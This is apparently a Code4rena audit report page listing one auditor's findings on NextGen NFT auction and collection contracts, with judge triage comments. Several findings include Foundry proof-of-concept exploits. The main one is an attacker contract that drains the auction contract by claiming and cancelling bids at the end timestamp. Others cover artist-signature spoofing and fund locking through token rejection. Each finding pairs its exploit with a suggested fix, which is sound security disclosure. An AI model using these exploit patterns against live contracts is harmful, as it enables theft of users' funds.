Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 48/243
Findings: 5
Award: $176.99
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L58 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135
File: smart-contracts/AuctionDemo.sol 058: require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 125: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); 135: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
As we can see in these lines, when the condition block.timestamp == minter.getAuctionEndTime(_tokenid)
is met, a bid winner can call the (participateToAuction
, claimAuction
, cancelBid
and cancelAllBids
functions
In the participateToAuction
function we only observe a low severity, but in the rest of the functions the severity increases, giving the possibility of emptying all the funds from the auction contract
By having an auction, a malicious bidder could make several bids, winning this auction. This malicious bidder will claim the auction(claimAuction
) at the exact moment where the condition block.timestamp == minter.getAuctionEndTime(_tokenid)
is met and in that same transaction call the cancelBid
function several times with its different index
or easily with the cancelAllBids
function
Thus generating the double refound of their bids, taking the entire balance of the auction contract
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {ERC721} from "openzeppelin-contracts/token/ERC721/ERC721.sol"; contract MockMinter { uint256 auctionEndTime; function setAuctionEndTime(uint256 _auctionEndTime) external { auctionEndTime = _auctionEndTime; } function getAuctionEndTime(uint256) external view returns (uint) { return auctionEndTime; } function getAuctionStatus(uint256 _tokenId) external view returns (bool) { return true; } } contract MockGenCore is ERC721("", "") { function mint(address to, uint256 tokenId) external { _mint(to, tokenId); } } contract PoCTest is Test { uint256 tokenId = 1; uint256 auctionEndTime = block.timestamp + 1; MockGenCore mockGenCore; auctionDemo auction; function setUp() public { // Deploy contracts NextGenAdmins genAdmins = new NextGenAdmins(); MockMinter mockMinter = new MockMinter(); mockGenCore = new MockGenCore(); mockGenCore.mint(address(this), tokenId); vm.prank(address(11)); auction = new auctionDemo(address(mockMinter), address(mockGenCore), address(genAdmins)); mockMinter.setAuctionEndTime(auctionEndTime); mockGenCore.setApprovalForAll(address(auction), true); } function test() public { // Deploy attacker contract and add founds BidderAttacker bidderAttacker = new BidderAttacker(auction, ERC721(address(mockGenCore)), tokenId); vm.deal(address(bidderAttacker), 100 ether); // The auction contract have 100 ether, the accumulation of all ongoing auctions vm.deal(address(auction), 100 ether); // The attacker bid several time and win the auction for (uint256 i; i < 99; i++) { bidderAttacker.bid(1 ether + i); } // Log the balances before hack console.log("Auction contract balance: ", address(auction).balance); console.log("Bidder attacker contract balance:", address(bidderAttacker).balance); console.log(); // End the auction vm.warp(auctionEndTime); // The bidder attacker contract run the attack exact in auctionEndTime timestamp bidderAttacker.run(); // Log the after hack balances console.log("Auction contract balance: ", address(auction).balance); console.log("Bidder attacker contract balance:", address(bidderAttacker).balance); } } contract BidderAttacker { auctionDemo auction; ERC721 genCore; uint256 tokenId; constructor (auctionDemo _auction, ERC721 _genCore, uint256 _tokenId) { auction = _auction; genCore = _genCore; tokenId = _tokenId; } function bid(uint256 _amount) external payable { auction.participateToAuction{ value: _amount }(tokenId); } function run() external { auction.claimAuction(tokenId); auction.cancelAllBids(tokenId); } function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { return this.onERC721Received.selector; } fallback() external payable {} }
Manual review
@@ -102,7 +102,7 @@ contract auctionDemo is Ownable { // claim Token After Auction function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
Invalid Validation
#0 - c4-pre-sort
2023-11-14T13:55:15Z
141345 marked the issue as duplicate of #1904
#1 - c4-pre-sort
2023-11-14T23:31:35Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-01T15:28:21Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T15:28:30Z
alex-ppg marked the issue as duplicate of #1788
#4 - c4-judge
2023-12-08T18:07:31Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: bird-flu
Also found by: 00decree, 0xAadi, AS, Audinarey, DeFiHackLabs, Eigenvectors, Fitro, Hama, Kaysoft, Krace, REKCAH, SovaSlava, The_Kakers, Viktor_Cortess, cartlex_, degensec, devival, evmboi32, funkornaut, jacopod, openwide, peanuts, rotcivegaf, smiling_heretic, xAriextz, xiao
25.2356 USDC - $25.24
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); @==> (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
As we can see in the claimAuction
function, when the winner of the auction claim the auction the value of the bid goes to the owner()
who is the owner of the auction contract instead of the owner of the ERC721 token ownerOfToken
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {ERC721} from "openzeppelin-contracts/token/ERC721/ERC721.sol"; contract MockMinter { uint256 auctionEndTime; function setAuctionEndTime(uint256 _auctionEndTime) external { auctionEndTime = _auctionEndTime; } function getAuctionEndTime(uint256) external view returns (uint) { return auctionEndTime; } function getAuctionStatus(uint256 _tokenId) external view returns (bool) { return true; } } contract MockGenCore is ERC721("", "") { function mint(address to, uint256 tokenId) external { _mint(to, tokenId); } } contract PoCTest is Test { uint256 collectionID = 1; uint256 tokenId = 1; uint256 auctionEndTime = block.timestamp + 1; address auctionOwner = address(10); address ownerToken = address(11); address bidder = address(12); MockMinter mockMinter; MockGenCore mockGenCore; NextGenAdmins genAdmins; auctionDemo auction; NextGenMinterContract minter; function setUp() public { // Deploy contracts genAdmins = new NextGenAdmins(); mockMinter = new MockMinter(); mockGenCore = new MockGenCore(); mockGenCore.mint(ownerToken, tokenId); vm.prank(auctionOwner); auction = new auctionDemo(address(mockMinter), address(mockGenCore), address(genAdmins)); mockMinter.setAuctionEndTime(auctionEndTime); vm.deal(bidder, 1 ether); vm.prank(ownerToken); mockGenCore.setApprovalForAll(address(auction), true); } function test() public { // A bidder make a bid vm.prank(bidder); auction.participateToAuction{ value: 1 ether }(tokenId); // To end the auction vm.warp(auctionEndTime); // Bidder claim the auction vm.prank(bidder); auction.claimAuction(tokenId); // The bid amount should be goes to the owner of the token instead of the owner of the auction contract console.log("Owner of auction contract balance:", auctionOwner.balance); console.log("Owner of the token balance:", ownerToken.balance); } }
Manual review
@@ -110,7 +110,8 @@ contract auctionDemo is Ownable { for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); - (bool success, ) = payable(owner()).call{value: highestBid}(""); + (bool success, ) = payable(ownerOfToken).call{value: highestBid}(""); + require(success, "ww"); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
ETH-Transfer
#0 - c4-pre-sort
2023-11-17T10:59:45Z
141345 marked the issue as duplicate of #245
#1 - c4-judge
2023-12-08T22:27:02Z
alex-ppg marked the issue as satisfactory
#2 - c4-judge
2023-12-09T00:22:20Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 0xblackskull, BugzyVonBuggernaut, Draiakoo, Stryder, VAD37, alexfilippov314, mrudenko, rotcivegaf, xAriextz, xuwinnie, zach
137.8889 USDC - $137.89
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L143-L166 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L255-L262
In the NextGenCore contract we have the setCollectionData
which is used among other things to set the collectionArtistAddress
by the collection admin
// function to add/modify the additional data of a collection // once a collection is created and total supply is set it cannot be changed // only _collectionArtistAddress , _maxCollectionPurchases can change after total supply is set function setCollectionData(uint256 _collectionID, address _collectionArtistAddress, uint256 _maxCollectionPurchases, uint256 _collectionTotalSupply, uint _setFinalSupplyTimeAfterMint) public CollectionAdminRequired(_collectionID, this.setCollectionData.selector) { require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed"); if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) { collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress; @==> collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases; collectionAdditionalData[_collectionID].collectionCirculationSupply = 0; collectionAdditionalData[_collectionID].collectionTotalSupply = _collectionTotalSupply; collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint; collectionAdditionalData[_collectionID].reservedMinTokensIndex = (_collectionID * 10000000000); collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + _collectionTotalSupply - 1; wereDataAdded[_collectionID] = true; } else if (artistSigned[_collectionID] == false) { collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress; collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases; collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint; } else { collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases; collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint; } }
On the other hand we have the artistSignature
function that is used to sign the collection:
// function for artist signature function artistSignature(uint256 _collectionID, string memory _signature) public { require(msg.sender == collectionAdditionalData[_collectionID].collectionArtistAddress, "Only artist"); require(artistSigned[_collectionID] == false, "Already Signed"); @==> artistsSignatures[_collectionID] = _signature; artistSigned[_collectionID] = true; }
The problem is that the setCollectionData
function can change the artist again once the collection is signed, giving the possibility that the collection is signed by a fake artist and then this is changed by a famous one, stealing the identity of the famous artist and selling tokens in his name and signature
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; contract PoCTest is Test { address leonardo = address(6); address collectionAdmin = address(1); address hekking = address (9); uint256 collectionID = 1; NextGenAdmins genAdmins; NextGenCore genCore; function setUp() public { // Deploy contracts genAdmins = new NextGenAdmins(); genCore = new NextGenCore("", "", address(genAdmins)); // Create an empty collection genCore.createCollection("", "", "", "", "", "", "", new string[](0)); // Register an admin collection genAdmins.registerCollectionAdmin(collectionID, collectionAdmin, true); } function test() public { // The collection admin set Hekking as the collection's artist. vm.startPrank(collectionAdmin); genCore.setCollectionData(collectionID, hekking, 0, 0, 0); // Hekking sign the collection with the Leonardo signature vm.startPrank(hekking); genCore.artistSignature(collectionID, "L da Vinci"); // The collection admin set Leonardo as the collection's artist. vm.startPrank(collectionAdmin); genCore.setCollectionData(collectionID, leonardo, 0, 0, 0); // Finally the collection have a Leonardo signature setted by hekking console.log("Collection artist:", genCore.retrieveArtistAddress(collectionID)); console.log("Collection signature:", genCore.artistsSignatures(collectionID)); } }
Manual review
@@ -147,7 +147,9 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 { function setCollectionData(uint256 _collectionID, address _collectionArtistAddress, uint256 _maxCollectionPurchases, uint256 _collectionTotalSupply, uint _setFinalSupplyTimeAfterMint) public CollectionAdminRequired(_collectionID, this.setCollectionData.selector) { require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed"); if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) { - collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress; + if (!artistSigned[_collectionID]) { + collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress; + } collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases; collectionAdditionalData[_collectionID].collectionCirculationSupply = 0; collectionAdditionalData[_collectionID].collectionTotalSupply = _collectionTotalSupply;
ERC721
#0 - c4-pre-sort
2023-11-17T11:01:11Z
141345 marked the issue as duplicate of #478
#1 - c4-pre-sort
2023-11-18T09:19:35Z
141345 marked the issue as not a duplicate
#2 - c4-pre-sort
2023-11-18T09:20:09Z
141345 marked the issue as duplicate of #323
#3 - c4-pre-sort
2023-11-26T14:10:59Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-11-26T14:12:42Z
141345 marked the issue as duplicate of #478
#5 - c4-judge
2023-12-08T21:56:31Z
alex-ppg marked the issue as partial-50
#6 - c4-judge
2023-12-09T00:22:38Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
File: smart-contracts/AuctionDemo.sol 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
As we can see in the previous line, when an auction ends, the ERC721 token is sent to the winner of the auction using the safeTransferFrom
function, this has the peculiarity that it calls the recipient of the token and hopes that he can receive it.
The problem is that if the recipient rejects the token or does not implement this functionality, the claimAuction
function cannot be executed and will always revert (even if it is sent by a global admin or the owner of the contract NextGenAdmins) leaving the Bidding funds locked in contracts forever along with the ERC721 token
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {ERC721} from "openzeppelin/token/ERC721/ERC721.sol"; contract MockMinter { uint256 auctionEndTime; function setAuctionEndTime(uint256 _auctionEndTime) external { auctionEndTime = _auctionEndTime; } function getAuctionEndTime(uint256) external view returns (uint) { return auctionEndTime; } function getAuctionStatus(uint256 _tokenId) external view returns (bool) { return true; } } contract MockGenCore is ERC721("", "") { function mint(address to, uint256 tokenId) external { _mint(to, tokenId); } } contract PoCTest is Test { uint256 tokenId = 1; uint256 auctionId = 0; uint256 auctionEndTime = block.timestamp + 1; auctionDemo auction; address auctionOwner = address(666); address bidderA = address(777); address bidderB = address(888); function setUp() public { // Deploy contracts vm.prank(auctionOwner); NextGenAdmins genAdmins = new NextGenAdmins(); MockMinter mockMinter = new MockMinter(); MockGenCore mockGenCore = new MockGenCore(); mockGenCore.mint(address(this), tokenId); auction = new auctionDemo(address(mockMinter), address(mockGenCore), address(genAdmins)); mockMinter.setAuctionEndTime(auctionEndTime); mockGenCore.setApprovalForAll(address(auction), true); vm.deal(bidderA, 100 ether); vm.deal(bidderB, 100 ether); } function test() public { // Deploy the bidder contract that would reject the tokens BidderNotReceiver bidderNotReceiver = new BidderNotReceiver(); vm.deal(address(bidderNotReceiver), 10 ether); // The bidder A and B fight over the auction bid uint256 finalBid; for (uint256 i; i < 10; i++) { uint256 valueA = 1 ether + (i * 0.1 ether); vm.prank(bidderA); auction.participateToAuction{ value: valueA }(tokenId); finalBid = ++valueA; vm.prank(bidderB); auction.participateToAuction{ value: finalBid }(tokenId); } // The bidder contract bid and win the auction bidderNotReceiver.bid(auction, tokenId, ++finalBid); // End the auction vm.warp(auctionEndTime); // At this moment the bidder contract wins the auction // The next steps is call the claimAuction function // As the bidder contract, a global admin try run this call // but fails because the bidder contract reject the ERC721 token vm.prank(auctionOwner); auction.claimAuction(tokenId); } } contract BidderNotReceiver { function bid(auctionDemo _auction, uint256 _tokenId, uint256 _amount) external payable { _auction.participateToAuction{ value: _amount }(_tokenId); } // Reject ERC721 token function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { return bytes4(0); } receive() external payable {} }
Manual review
Given the structure of the auction contract, it is not an easy solution, a mechanism could be implemented where bidders can claim their bids and a function to emergency withdraw the ER721 token
ERC721
#0 - c4-pre-sort
2023-11-15T07:47:11Z
141345 marked the issue as duplicate of #1653
#1 - c4-pre-sort
2023-11-15T08:06:46Z
141345 marked the issue as duplicate of #843
#2 - c4-pre-sort
2023-11-16T13:36:18Z
141345 marked the issue as duplicate of #486
#3 - c4-judge
2023-12-01T22:34:31Z
alex-ppg marked the issue as not a duplicate
#4 - c4-judge
2023-12-01T22:34:58Z
alex-ppg marked the issue as duplicate of #1759
#5 - c4-judge
2023-12-08T22:13:42Z
alex-ppg marked the issue as partial-50
#6 - c4-judge
2023-12-09T00:23:12Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0x3b, Arabadzhiev, DeFiHackLabs, Fulum, Madalad, MrPotatoMagic, SpicyMeatball, Tadev, ZanyBonzy, ZdravkoHr, alexfilippov314, audityourcontracts, cheatc0d3, devival, dy, evmboi32, immeas, lsaudit, mrudenko, oakcobalt, oualidpro, pipidu83, r0ck3tz, rishabh, rotcivegaf, tpiliposian, xAriextz
13.3948 USDC - $13.39
getWord
, same value for different idThe function getWord
of the contract randomPool should returns a word from wordsList
based on index, but instead of it returns the index sub one and if id
is 0
returns the id 0
File: smart-contracts/XRandoms.sol 27: // returns a word based on index 28: if (id==0) { 29: return wordsList[id]; 30: } else { 31: return wordsList[id - 1]; 32: }
As we can see in this if/else
the return for the id
0
and 1
it's the same value "Acai"
In addition, based in this comment // returns a word based on index
and in common sense the function should return the index
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; contract PocTest is Test { randomPool _randomPool; function setUp() public { _randomPool = new randomPool(); } function testShouldNotBeEQ() public { string memory word0 = _randomPool.returnIndex(0); string memory word1 = _randomPool.returnIndex(1); console.log("Word index 0:", word0); console.log("Word index 1:", word1); assertNotEq(word0, word1, "Should not be equal"); } function testShouldReturnTheWorldOfTheIndex() public { string[100] memory wordsList = [ "Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange", "Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine", "Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian", "Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum", "Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango", "Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple", "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma", "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon" ]; for (uint256 i; i < 100; i++) { assertEq(_randomPool.returnIndex(i), wordsList[i], "Should be equal"); } } }
@@ -24,13 +24,8 @@ contract randomPool { "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma", "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"]; - // returns a word based on index - if (id==0) { - return wordsList[id]; - } else { - return wordsList[id - 1]; - } - } + return wordsList[id]; + }
getWord
, the id 100("Watermelon"
) is not usedThe function getWord
of the contract randomPool don't se the last index of the wordsList
array
File: smart-contracts/XRandoms.sol 40: function randomWord() public view returns (string memory) { 41: uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100; 42: return getWord(randomNum); 43: }
As we can see the function the randomNum
is a value between 0
and 99
and function getWord
expects 100
as maximum id, for this the word Watermelon
(id: 100
) is unachievable
Look [L-01]
randomNumber()
and randomWord()
functions of randomPoolOn blockchain don't exist the randoms values, the result of this both functions can be precalculated, manipulated the result. With the help of a Flashbots a wallet can send the transaction only if the result it's seems favorable for it
File: smart-contracts/XRandoms.sol 35: function randomNumber() public view returns (uint256){ 36: uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000; 37: return randomNum; 38: } 40: function randomWord() public view returns (string memory) { 41: uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100; 42: return getWord(randomNum); 43: }
keyHash
on NextGenRandomizerVRF contractThe keyHash
used in NextGenRandomizerVRF contract belongs to Goerli testnet: https://docs.chain.link/vrf/v2/subscription/supported-networks/#goerli-testnet
The contract should use the Ethereum mainnet one in this case: https://docs.chain.link/vrf/v2/subscription/supported-networks/#ethereum-mainnet
File: smart-contracts/RandomizerVRF.sol 26: bytes32 public keyHash = 0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15;
_auctionEndTime
can be an old dateThe _auctionEndTime
it does not check that the date is greater than the current one
// mint and auction function mintAndAuction(address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime) public FunctionAdminRequired(this.mintAndAuction.selector) { require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); uint256 collectionTokenMintIndex; collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); gencore.airDropTokens(mintIndex, _recipient, _tokenData, _saltfun_o, _collectionID); uint timeOfLastMint; // check 1 per period if (lastMintDate[_collectionID] == 0) { // for public sale set the allowlist the same time as publicsale timeOfLastMint = collectionPhases[_collectionID].allowlistStartTime - collectionPhases[_collectionID].timePeriod; } else { timeOfLastMint = lastMintDate[_collectionID]; } // uint calculates if period has passed in order to allow minting uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[_collectionID].timePeriod; // users are able to mint after a day passes require(tDiff>=1, "1 mint/period"); lastMintDate[_collectionID] = collectionPhases[_collectionID].allowlistStartTime + (collectionPhases[_collectionID].timePeriod * (gencore.viewCirSupply(_collectionID) - 1)); mintToAuctionData[mintIndex] = _auctionEndTime; mintToAuctionStatus[mintIndex] = true; }
#0 - 141345
2023-11-25T08:24:34Z
1033 rotcivegaf l r nc 1 0 0
L 1 d dup of https://github.com/code-423n4/2023-10-nextgen-findings/issues/508 L 2 i L 3 d dup of https://github.com/code-423n4/2023-10-nextgen-findings/issues/163 L 4 d dup of https://github.com/code-423n4/2023-10-nextgen-findings/issues/1611 L 5 l
#1 - c4-pre-sort
2023-11-25T08:27:51Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-08T15:24:22Z
The Warden's QA report has been graded B based on a score of 16 combined with a manual review per the relevant QA guideline document located here.
The Warden's submission's score was assessed based on the following accepted findings:
#3 - c4-judge
2023-12-08T15:24:50Z
alex-ppg marked the issue as grade-b